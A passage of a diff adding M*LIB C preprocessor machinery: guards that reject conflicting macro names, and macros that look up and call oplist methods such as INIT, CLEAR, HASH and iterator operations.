+#error "CLEAR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef HASH
+#error "HASH is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EQUAL
+#error "EQUAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef CMP
+#error "CMP is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef TYPE
+#error "TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SUBTYPE
+#error "SUBTYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SUBTYPE_PTR
+#error "SUBTYPE_PTR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GENTYPE
+#error "GENTYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef NAME
+#error "NAME is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef FIELD
+#error "FIELD is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OPLIST
+#error "OPLIST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SORT
+#error "SORT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SPLICE_BACK
+#error "SPLICE_BACK is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SPLICE_AT
+#error "SPLICE_AT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_TYPE
+#error "IT_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_FIRST
+#error "IT_FIRST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_LAST
+#error "IT_LAST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_END
+#error "IT_END is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_SET
+#error "IT_SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_END_P
+#error "IT_END_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_LAST_P
+#error "IT_LAST_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_EQUAL_P
+#error "IT_EQUAL_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_NEXT
+#error "IT_NEXT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_PREVIOUS
+#error "IT_PREVIOUS is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_REF
+#error "IT_REF is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_CREF
+#error "IT_CREF is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_REMOVE
+#error "IT_REMOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_INSERT
+#error "IT_INSERT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EMPTY_P
+#error "EMPTY_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef FULL_P
+#error "FULL_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef ADD
+#error "ADD is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SUB
+#error "SUB is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef MUL
+#error "MUL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef DIV
+#error "DIV is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef RESET
+#error "RESET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef KEY_TYPE
+#error "KEY_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef VALUE_TYPE
+#error "VALUE_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef KEY_OPLIST
+#error "KEY_OPLIST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef VALUE_OPLIST
+#error "VALUE_OPLIST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GET_KEY
+#error "GET_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SET_KEY
+#error "SET_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SAFE_GET_KEY
+#error "SAFE_GET_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef ERASE_KEY
+#error "ERASE_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GET_SIZE
+#error "GET_SIZE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PUSH
+#error "PUSH is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef POP
+#error "POP is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PUSH_MOVE
+#error "PUSH_MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef POP_MOVE
+#error "POP_MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef REVERSE
+#error "REVERSE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GET_STR
+#error "GET_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PARSE_STR
+#error "PARSE_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OUT_STR
+#error "OUT_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IN_STR
+#error "IN_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OUT_SERIAL
+#error "OUT_SERIAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IN_SERIAL
+#error "IN_SERIAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SEPARATOR
+#error "SEPARATOR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EXT_ALGO
+#error "EXT_ALGO is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INC_ALLOC
+#error "INC_ALLOC is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OOR_SET
+#error "OOR_SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OOR_EQUAL
+#error "OOR_EQUAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PROPERTIES
+#error "PROPERTIES is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EMPLACE_TYPE
+#error "EMPLACE_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef NEW
+#error "NEW is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef DEL
+#error "DEL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef REALLOC
+#error "REALLOC is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef FREE
+#error "FREE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SIZE
+#error "SIZE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef CONTEXT
+#error "CONTEXT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef POLICY
+#error "POLICY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#endif /* M_USE_UNDEF_OPLIST_TERMS */
+
+
+/* Helper internal macros to make M_GET_METHOD works.
+   List of supported methods for an oplist */
+#define M_X_INIT_INIT(a)           ,a,
+#define M_X_INIT_SET_INIT_SET(a)   ,a,
+#define M_X_INIT_MOVE_INIT_MOVE(a) ,a,
+#define M_X_INIT_WITH_INIT_WITH(a) ,a,
+#define M_X_SWAP_SWAP(a)           ,a,
+#define M_X_SET_SET(a)             ,a,
+#define M_X_MOVE_MOVE(a)           ,a,
+#define M_X_CLEAR_CLEAR(a)         ,a,
+#define M_X_HASH_HASH(a)           ,a,
+#define M_X_EQUAL_EQUAL(a)         ,a,
+#define M_X_CMP_CMP(a)             ,a,
+#define M_X_TYPE_TYPE(a)           ,a,
+#define M_X_SUBTYPE_SUBTYPE(a)     ,a,
+#define M_X_GENTYPE_GENTYPE(a)     ,a,
+#define M_X_SUBTYPE_PTR_SUBTYPE_PTR(a) ,a,
+#define M_X_NAME_NAME(a)           ,a,
+#define M_X_FIELD_FIELD(a)         ,a,
+#define M_X_OPLIST_OPLIST(a)       ,a,
+#define M_X_SORT_SORT(a)           ,a,
+#define M_X_SPLICE_BACK_SPLICE_BACK(a) ,a,
+#define M_X_SPLICE_AT_SPLICE_AT(a) ,a,
+#define M_X_IT_TYPE_IT_TYPE(a)     ,a,
+#define M_X_IT_FIRST_IT_FIRST(a)   ,a,
+#define M_X_IT_LAST_IT_LAST(a)     ,a,
+#define M_X_IT_END_IT_END(a)       ,a,
+#define M_X_IT_SET_IT_SET(a)       ,a,
+#define M_X_IT_END_P_IT_END_P(a)   ,a,
+#define M_X_IT_LAST_P_IT_LAST_P(a) ,a,
+#define M_X_IT_EQUAL_P_IT_EQUAL_P(a) ,a,
+#define M_X_IT_NEXT_IT_NEXT(a)     ,a,
+#define M_X_IT_PREVIOUS_IT_PREVIOUS(a)     ,a,
+#define M_X_IT_REF_IT_REF(a)       ,a,
+#define M_X_IT_CREF_IT_CREF(a)     ,a,
+#define M_X_IT_REMOVE_IT_REMOVE(a) ,a,
+#define M_X_IT_INSERT_IT_INSERT(a) ,a,
+#define M_X_EMPTY_P_EMPTY_P(a)     ,a,
+#define M_X_FULL_P_FULL_P(a)       ,a,
+#define M_X_ADD_ADD(a)             ,a,
+#define M_X_SUB_SUB(a)             ,a,
+#define M_X_MUL_MUL(a)             ,a,
+#define M_X_DIV_DIV(a)             ,a,
+#define M_X_RESET_RESET(a)         ,a,
+#define M_X_KEY_TYPE_KEY_TYPE(a)   ,a,
+#define M_X_VALUE_TYPE_VALUE_TYPE(a) ,a,
+#define M_X_KEY_OPLIST_KEY_OPLIST(a) ,a,
+#define M_X_VALUE_OPLIST_VALUE_OPLIST(a) ,a,
+#define M_X_GET_KEY_GET_KEY(a)     ,a,
+#define M_X_SET_KEY_SET_KEY(a)     ,a,
+#define M_X_SAFE_GET_KEY_SAFE_GET_KEY(a) ,a,
+#define M_X_ERASE_KEY_ERASE_KEY(a) ,a,
+#define M_X_GET_SIZE_GET_SIZE(a)   ,a,
+#define M_X_PUSH_PUSH(a)           ,a,
+#define M_X_POP_POP(a)             ,a,
+#define M_X_PUSH_MOVE_PUSH_MOVE(a) ,a,
+#define M_X_POP_MOVE_POP_MOVE(a)   ,a,
+#define M_X_REVERSE_REVERSE(a)     ,a,
+#define M_X_GET_STR_GET_STR(a)     ,a,
+#define M_X_PARSE_STR_PARSE_STR(a) ,a,
+#define M_X_OUT_STR_OUT_STR(a)     ,a,
+#define M_X_IN_STR_IN_STR(a)       ,a,
+#define M_X_OUT_SERIAL_OUT_SERIAL(a) ,a,
+#define M_X_IN_SERIAL_IN_SERIAL(a) ,a,
+#define M_X_SEPARATOR_SEPARATOR(a) ,a,
+#define M_X_EXT_ALGO_EXT_ALGO(a)   ,a,
+#define M_X_INC_ALLOC_INC_ALLOC(a) ,a,
+#define M_X_OOR_SET_OOR_SET(a)     ,a,
+#define M_X_OOR_EQUAL_OOR_EQUAL(a) ,a,
+#define M_X_LIMITS_LIMITS(a)       ,a,
+#define M_X_PROPERTIES_PROPERTIES(a) ,a,
+#define M_X_EMPLACE_TYPE_EMPLACE_TYPE(a) ,a,
+// As attribute customization
+#define M_X_NEW_NEW(a)             ,a,
+#define M_X_DEL_DEL(a)             ,a,
+#define M_X_REALLOC_REALLOC(a)     ,a,
+#define M_X_FREE_FREE(a)           ,a,
+#define M_X_SIZE_SIZE(a)           ,a,
+#define M_X_CONTEXT_CONTEXT(a)     ,a,
+#define M_X_POLICY_POLICY(a)       ,a,
+// As properties only
+#define M_X_LET_AS_INIT_WITH_LET_AS_INIT_WITH(a) ,a,
+#define M_X_NOCLEAR_NOCLEAR(a)     ,a,
+#define M_X_THREADSAFE_THREADSAFE(a)     ,a,
+
+/* From an oplist - an unorded list of methods : like "INIT(mpz_init),CLEAR(mpz_clear),SET(mpz_set)" -
+   Return the given method in the oplist or the default method.
+   Example:
+   M_GET_METHOD(INIT, my_default, INIT(mpz_init),CLEAR(mpz_clear),SET(mpz_set)) --> mpz_init
+   M_GET_METHOD(INIT, my_default, CLEAR(mpz_clear),SET(mpz_set)) --> my_default */
+#define M_GET_METHOD(method, method_default, ...)                             \
+  M_RET_ARG2 (M_MAP2B(M_C, M_C3(M_X_, method, _), __VA_ARGS__), method_default,)
+
+/* Get the given method */
+#define M_GET_INIT(...)      M_GET_METHOD(INIT,        M_INIT_DEFAULT,     __VA_ARGS__)
+#define M_GET_INIT_SET(...)  M_GET_METHOD(INIT_SET,    M_SET_DEFAULT,      __VA_ARGS__)
+#define M_GET_INIT_MOVE(...) M_GET_METHOD(INIT_MOVE,   M_SET_DEFAULT,     __VA_ARGS__)
+#define M_GET_INIT_WITH(...) M_GET_METHOD(INIT_WITH,   M_NO_DEF_INIT_WITH, __VA_ARGS__)
+#define M_GET_SET(...)       M_GET_METHOD(SET,         M_SET_DEFAULT,      __VA_ARGS__)
+#define M_GET_MOVE(...)      M_GET_METHOD(MOVE,        M_NO_DEF_MOVE,      __VA_ARGS__)
+#define M_GET_SWAP(...)      M_GET_METHOD(SWAP,        M_NO_DEF_SWAP,      __VA_ARGS__)
+#define M_GET_CLEAR(...)     M_GET_METHOD(CLEAR,       M_NOTHING_DEFAULT,  __VA_ARGS__)
+#define M_GET_HASH(...)      M_GET_METHOD(HASH,        M_NO_DEF_HASH,      __VA_ARGS__)
+#define M_GET_EQUAL(...)     M_GET_METHOD(EQUAL,       M_EQUAL_DEFAULT,    __VA_ARGS__)
+#define M_GET_CMP(...)       M_GET_METHOD(CMP,         M_CMP_DEFAULT,      __VA_ARGS__)
+#define M_GET_TYPE(...)      M_GET_METHOD(TYPE,        M_NO_DEF_TYPE,      __VA_ARGS__)
+#define M_GET_SUBTYPE(...)   M_GET_METHOD(SUBTYPE,     M_NO_DEF_SUBTYPE,      __VA_ARGS__)
+#define M_GET_SUBTYPE_PTR(...) M_GET_METHOD(SUBTYPE_PTR, M_NO_DEF_SUBTYPE_PTR, __VA_ARGS__)
+#define M_GET_GENTYPE(...)   M_GET_METHOD(GENTYPE,     M_NO_DEF_GENTYPE,   __VA_ARGS__)
+#define M_GET_NAME(...)      M_GET_METHOD(NAME,        M_NO_DEF_NAME,      __VA_ARGS__)
+#define M_GET_FIELD(...)     M_GET_METHOD(FIELD,       M_NO_DEF_FIELD,     __VA_ARGS__)
+#define M_GET_OPLIST(...)    M_GET_METHOD(OPLIST,      (),                 __VA_ARGS__)
+#define M_GET_SORT(...)      M_GET_METHOD(SORT,        M_NO_DEF_SORT,      __VA_ARGS__)
+#define M_GET_SPLICE_BACK(...) M_GET_METHOD(SPLICE_BACK, M_NO_DEF_SPLICE_BACK, __VA_ARGS__)
+#define M_GET_SPLICE_AT(...) M_GET_METHOD(SPLICE_AT,   M_NO_DEF_SPLICE_AT, __VA_ARGS__)
+#define M_GET_IT_TYPE(...)   M_GET_METHOD(IT_TYPE,     M_NO_DEF_IT_TYPE,   __VA_ARGS__)
+#define M_GET_IT_FIRST(...)  M_GET_METHOD(IT_FIRST,    M_NO_DEF_IT_FIRST,  __VA_ARGS__)
+#define M_GET_IT_LAST(...)   M_GET_METHOD(IT_LAST,     M_NO_DEF_IT_LAST,   __VA_ARGS__)
+#define M_GET_IT_END(...)    M_GET_METHOD(IT_END,      M_NO_DEF_IT_END,    __VA_ARGS__)
+#define M_GET_IT_SET(...)    M_GET_METHOD(IT_SET,      M_NO_DEF_IT_SET,    __VA_ARGS__)
+#define M_GET_IT_END_P(...)  M_GET_METHOD(IT_END_P,    M_NO_DEF_IT_END_P,  __VA_ARGS__)
+#define M_GET_IT_LAST_P(...) M_GET_METHOD(IT_LAST_P,   M_NO_DEF_IT_LAST_P, __VA_ARGS__)
+#define M_GET_IT_EQUAL_P(...) M_GET_METHOD(IT_EQUAL_P, M_NO_DEF_IT_EQUAL_P,__VA_ARGS__)
+#define M_GET_IT_NEXT(...)   M_GET_METHOD(IT_NEXT,     M_NO_DEF_IT_NEXT,   __VA_ARGS__)
+#define M_GET_IT_PREVIOUS(...) M_GET_METHOD(IT_PREVIOUS, M_NO_DEF_IT_PREVIOUS,__VA_ARGS__)
+#define M_GET_IT_REF(...)    M_GET_METHOD(IT_REF,      M_NO_DEF_IT_REF,    __VA_ARGS__)
+#define M_GET_IT_CREF(...)   M_GET_METHOD(IT_CREF,     M_NO_DEF_IT_CREFT,  __VA_ARGS__)
+#define M_GET_IT_REMOVE(...) M_GET_METHOD(IT_REMOVE,   M_NO_DEF_IT_REMOVE, __VA_ARGS__)
+#define M_GET_IT_INSERT(...) M_GET_METHOD(IT_INSERT,   M_NO_DEF_IT_INSERT, __VA_ARGS__)
+#define M_GET_EMPTY_P(...)   M_GET_METHOD(EMPTY_P,     M_NO_DEF_EMPTY_P,   __VA_ARGS__)
+#define M_GET_FULL_P(...)    M_GET_METHOD(FULL_P,      M_FALSE_DEFAULT,    __VA_ARGS__)
+#define M_GET_ADD(...)       M_GET_METHOD(ADD,         M_ADD_DEFAULT,      __VA_ARGS__)
+#define M_GET_SUB(...)       M_GET_METHOD(SUB,         M_SUB_DEFAULT,      __VA_ARGS__)
+#define M_GET_MUL(...)       M_GET_METHOD(MUL,         M_MUL_DEFAULT,      __VA_ARGS__)
+#define M_GET_DIV(...)       M_GET_METHOD(DIV,         M_DIV_DEFAULT,      __VA_ARGS__)
+#define M_GET_RESET(...)     M_GET_METHOD(RESET,       M_NO_DEF_RESET,     __VA_ARGS__)
+#define M_GET_KEY_TYPE(...)  M_GET_METHOD(KEY_TYPE,    M_NO_DEF_KEY_TYPE,  __VA_ARGS__)
+#define M_GET_VALUE_TYPE(...) M_GET_METHOD(VALUE_TYPE, M_NO_DEF_VALUE_TYPE,__VA_ARGS__)
+#define M_GET_KEY_OPLIST(...) M_GET_METHOD(KEY_OPLIST, (),                 __VA_ARGS__)
+#define M_GET_VALUE_OPLIST(...) M_GET_METHOD(VALUE_OPLIST, (),             __VA_ARGS__)
+#define M_GET_GET_KEY(...)   M_GET_METHOD(GET_KEY,     M_NO_DEF_GET_KEY,   __VA_ARGS__)
+#define M_GET_SET_KEY(...)   M_GET_METHOD(SET_KEY,     M_NO_DEF_SET_KEY,   __VA_ARGS__)
+#define M_GET_SAFE_GET_KEY(...) M_GET_METHOD(SAFE_GET_KEY, M_NO_DEF_SAFE_GET_KEY, __VA_ARGS__)
+#define M_GET_ERASE_KEY(...) M_GET_METHOD(ERASE_KEY,   M_NO_DEF_ERASE_KEY, __VA_ARGS__)
+#define M_GET_GET_SIZE(...)  M_GET_METHOD(GET_SIZE,    M_NO_DEF_GET_SIZE,  __VA_ARGS__)
+#define M_GET_PUSH(...)      M_GET_METHOD(PUSH,        M_NO_DEF_PUSH,      __VA_ARGS__)
+#define M_GET_POP(...)       M_GET_METHOD(POP,         M_NO_DEF_POP,       __VA_ARGS__)
+#define M_GET_PUSH_MOVE(...) M_GET_METHOD(PUSH_MOVE,   M_NO_DEF_PUSH_MOVE, __VA_ARGS__)
+#define M_GET_POP_MOVE(...)  M_GET_METHOD(POP_MOVE,    M_NO_DEF_POP_MOVE,  __VA_ARGS__)
+#define M_GET_REVERSE(...)   M_GET_METHOD(REVERSE,     M_NO_DEF_REVERSE,   __VA_ARGS__)
+#define M_GET_GET_STR(...)   M_GET_METHOD(GET_STR,     M_NO_DEF_GET_STR,   __VA_ARGS__)
+#define M_GET_PARSE_STR(...) M_GET_METHOD(PARSE_STR,   M_NO_DEF_PARSE_STR, __VA_ARGS__)
+#define M_GET_OUT_STR(...)   M_GET_METHOD(OUT_STR,     M_NO_DEF_OUT_STR,   __VA_ARGS__)
+#define M_GET_IN_STR(...)    M_GET_METHOD(IN_STR,      M_NO_DEF_IN_STR,    __VA_ARGS__)
+#define M_GET_OUT_SERIAL(...) M_GET_METHOD(OUT_SERIAL, M_NO_DEF_OUT_SERIAL,__VA_ARGS__)
+#define M_GET_IN_SERIAL(...) M_GET_METHOD(IN_SERIAL,   M_NO_DEF_IN_SERIAL, __VA_ARGS__)
+#define M_GET_SEPARATOR(...) M_GET_METHOD(SEPARATOR,   ',',                __VA_ARGS__)
+#define M_GET_EXT_ALGO(...)  M_GET_METHOD(EXT_ALGO,    M_NO_EXT_ALGO,      __VA_ARGS__)
+#define M_GET_INC_ALLOC(...) M_GET_METHOD(INC_ALLOC,   M_INC_ALLOC_DEFAULT, __VA_ARGS__)
+#define M_GET_OOR_SET(...)   M_GET_METHOD(OOR_SET,     M_NO_DEF_OOR_SET,   __VA_ARGS__)
+#define M_GET_OOR_EQUAL(...) M_GET_METHOD(OOR_EQUAL,   M_NO_DEF_OOR_EQUAL, __VA_ARGS__)
+#define M_GET_PROPERTIES(...) M_GET_METHOD(PROPERTIES, (),                 __VA_ARGS__)
+#define M_GET_EMPLACE_TYPE(...) M_GET_METHOD(EMPLACE_TYPE,             ,   __VA_ARGS__)
+// As attribute customization
+#define M_GET_NEW(...)       M_GET_METHOD(NEW,         M_MEMORY_ALLOC,     __VA_ARGS__)
+#define M_GET_DEL(...)       M_GET_METHOD(DEL,         M_MEMORY_DEL,       __VA_ARGS__)
+#define M_GET_REALLOC(...)   M_GET_METHOD(REALLOC,     M_MEMORY_REALLOC,   __VA_ARGS__)
+#define M_GET_FREE(...)      M_GET_METHOD(FREE,        M_MEMORY_FREE,      __VA_ARGS__)
+#define M_GET_SIZE(...)      M_GET_METHOD(SIZE,        0,                  __VA_ARGS__)
+#define M_GET_CONTEXT(...)   M_GET_METHOD(CONTEXT,     0,                  __VA_ARGS__)
+#define M_GET_POLICY(...)    M_GET_METHOD(POLICY,      0,                  __VA_ARGS__)
+
+// Calling method with support of defined transformation API
+// operators that are not methods are commented
+#define M_CALL_INIT(oplist, ...) M_APPLY_API(M_GET_INIT oplist, oplist, __VA_ARGS__)
+#define M_CALL_INIT_SET(oplist, ...) M_APPLY_API(M_GET_INIT_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_INIT_MOVE(oplist, ...) M_APPLY_API(M_GET_INIT_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_INIT_WITH(oplist, ...) M_APPLY_API(M_GET_INIT_WITH oplist, oplist, __VA_ARGS__)
+#define M_CALL_SET(oplist, ...) M_APPLY_API(M_GET_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_MOVE(oplist, ...) M_APPLY_API(M_GET_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_SWAP(oplist, ...) M_APPLY_API(M_GET_SWAP oplist, oplist, __VA_ARGS__)
+#define M_CALL_CLEAR(oplist, ...) M_APPLY_API(M_GET_CLEAR oplist, oplist, __VA_ARGS__)
+#define M_CALL_HASH(oplist, ...) M_APPLY_API(M_GET_HASH oplist, oplist, __VA_ARGS__)
+#define M_CALL_EQUAL(oplist, ...) M_APPLY_API(M_GET_EQUAL oplist, oplist, __VA_ARGS__)
+#define M_CALL_CMP(oplist, ...) M_APPLY_API(M_GET_CMP oplist, oplist, __VA_ARGS__)
+//#define M_CALL_TYPE(oplist, ...) M_APPLY_API(M_GET_TYPE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_SUBTYPE(oplist, ...) M_APPLY_API(M_GET_SUBTYPE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_SUBTYPE_PTR(oplist, ...) M_APPLY_API(M_GET_SUBTYPE_PTR oplist, oplist, __VA_ARGS__)
+//#define M_CALL_GENTYPE(oplist, ...) M_APPLY_API(M_GET_GENTYPE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_NAME(oplist, ...) M_APPLY_API(M_GET_NAME oplist, oplist, __VA_ARGS__)
+//#define M_CALL_FIELD(oplist, ...) M_APPLY_API(M_GET_FIELD oplist, oplist, __VA_ARGS__)
+//#define M_CALL_OPLIST(oplist, ...) M_APPLY_API(M_GET_OPLIST oplist, oplist, __VA_ARGS__)
+#define M_CALL_SORT(oplist, ...) M_APPLY_API(M_GET_SORT oplist, oplist, __VA_ARGS__)
+#define M_CALL_SPLICE_BACK(oplist, ...) M_APPLY_API(M_GET_SPLICE_BACK oplist, oplist, __VA_ARGS__)
+#define M_CALL_SPLICE_AT(oplist, ...) M_APPLY_API(M_GET_SPLICE_AT oplist, oplist, __VA_ARGS__)
+//#define M_CALL_IT_TYPE(oplist, ...) M_APPLY_API(M_GET_IT_TYPE oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_FIRST(oplist, ...) M_APPLY_API(M_GET_IT_FIRST oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_LAST(oplist, ...) M_APPLY_API(M_GET_IT_LAST oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_END(oplist, ...) M_APPLY_API(M_GET_IT_END oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_SET(oplist, ...) M_APPLY_API(M_GET_IT_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_END_P(oplist, ...) M_APPLY_API(M_GET_IT_END_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_LAST_P(oplist, ...) M_APPLY_API(M_GET_IT_LAST_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_EQUAL_P(oplist, ...) M_APPLY_API(M_GET_IT_EQUAL_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_NEXT(oplist, ...) M_APPLY_API(M_GET_IT_NEXT oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_PREVIOUS(oplist, ...) M_APPLY_API(M_GET_IT_PREVIOUS oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_REF(oplist, ...) M_APPLY_API(M_GET_IT_REF oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_CREF(oplist, ...) M_APPLY_API(M_GET_IT_CREF oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_REMOVE(oplist, ...) M_APPLY_API(M_GET_IT_REMOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_INSERT(oplist, ...) M_APPLY_API(M_GET_IT_INSERT oplist, oplist, __VA_ARGS__)
+#define M_CALL_EMPTY_P(oplist, ...) M_APPLY_API(M_GET_EMPTY_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_FULL_P(oplist, ...) M_APPLY_API(M_GET_FULL_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_ADD(oplist, ...) M_APPLY_API(M_GET_ADD oplist, oplist, __VA_ARGS__)
+#define M_CALL_SUB(oplist, ...) M_APPLY_API(M_GET_SUB oplist, oplist, __VA_ARGS__)
+#define M_CALL_MUL(oplist, ...) M_APPLY_API(M_GET_MUL oplist, oplist, __VA_ARGS__)
+#define M_CALL_DIV(oplist, ...) M_APPLY_API(M_GET_DIV oplist, oplist, __VA_ARGS__)
+#define M_CALL_RESET(oplist, ...) M_APPLY_API(M_GET_RESET oplist, oplist, __VA_ARGS__)
+#define M_CALL_GET_KEY(oplist, ...) M_APPLY_API(M_GET_GET_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_SET_KEY(oplist, ...) M_APPLY_API(M_GET_SET_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_SAFE_GET_KEY(oplist, ...) M_APPLY_API(M_GET_SAFE_GET_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_ERASE_KEY(oplist, ...) M_APPLY_API(M_GET_ERASE_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_GET_SIZE(oplist, ...) M_APPLY_API(M_GET_GET_SIZE oplist, oplist, __VA_ARGS__)
+#define M_CALL_PUSH(oplist, ...) M_APPLY_API(M_GET_PUSH oplist, oplist, __VA_ARGS__)
+#define M_CALL_POP(oplist, ...) M_APPLY_API(M_GET_POP oplist, oplist, __VA_ARGS__)
